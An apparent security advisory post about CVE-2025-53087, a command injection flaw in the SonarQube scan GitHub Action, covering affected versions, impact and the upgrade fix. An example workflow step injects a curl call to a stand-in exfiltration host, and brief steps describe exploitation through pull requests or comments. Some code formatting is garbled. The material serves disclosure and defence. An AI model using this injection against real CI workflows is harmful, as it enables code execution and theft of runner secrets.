SonarQube Scan GitHub Action, Command Injection, CVE-2025-53087 (High)

Listen to this Post

The CVE-2025-53087 vulnerability exists due to improper neutralization of special elements used in an OS command within the sonarqube-scan-action. The action passes user-supplied input arguments directly to the `exec` function without adequate sanitization. Because GitHub Actions uses a JavaScript runtime to execute commands by spawning a new shell, these unsanitized inputs are treated as part of the shell command. An attacker can exploit this by crafting a malicious pull request or issue comment that includes a payload with shell metacharacters (e.g., backticks, semicolons, $()). When the workflow runs, the action processes this input, which is concatenated into a shell command and executed with the privileges of the GitHub runner, leading to arbitrary code execution.
Platform: GitHub Action
Version: 4.0.0-5.3.0
Vulnerability: Command Injection
Severity: High

date: 2025-09-01

Prediction: Patch: 2025-09-02

What Undercode Say:

Example of a potentially vulnerable workflow step
- uses: SonarSource/[email protected]
with:
args: -Dsonar.token=<code>curl malicious.com/exfil</code> Injected command
// Simplified vulnerable code path
const { exec } = require('@actions/exec');
await exec(<code>sonar-scanner ${userArgs}</code>); // userArgs is not sanitized

How Exploit:

Craft a GitHub issue/pull request with a malicious payload in a field consumed by the action. The workflow trigger on `issue_comment` or `pull_request` events causes the action to execute the injected shell command on the runner.

Protection from this CVE:

Upgrade to v5.3.1. Sanitize inputs. Use `command` instead of `shell` where possible.

Impact:

Arbitrary code execution on the GitHub runner, potentially leading to secrets exfiltration and repository compromise.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top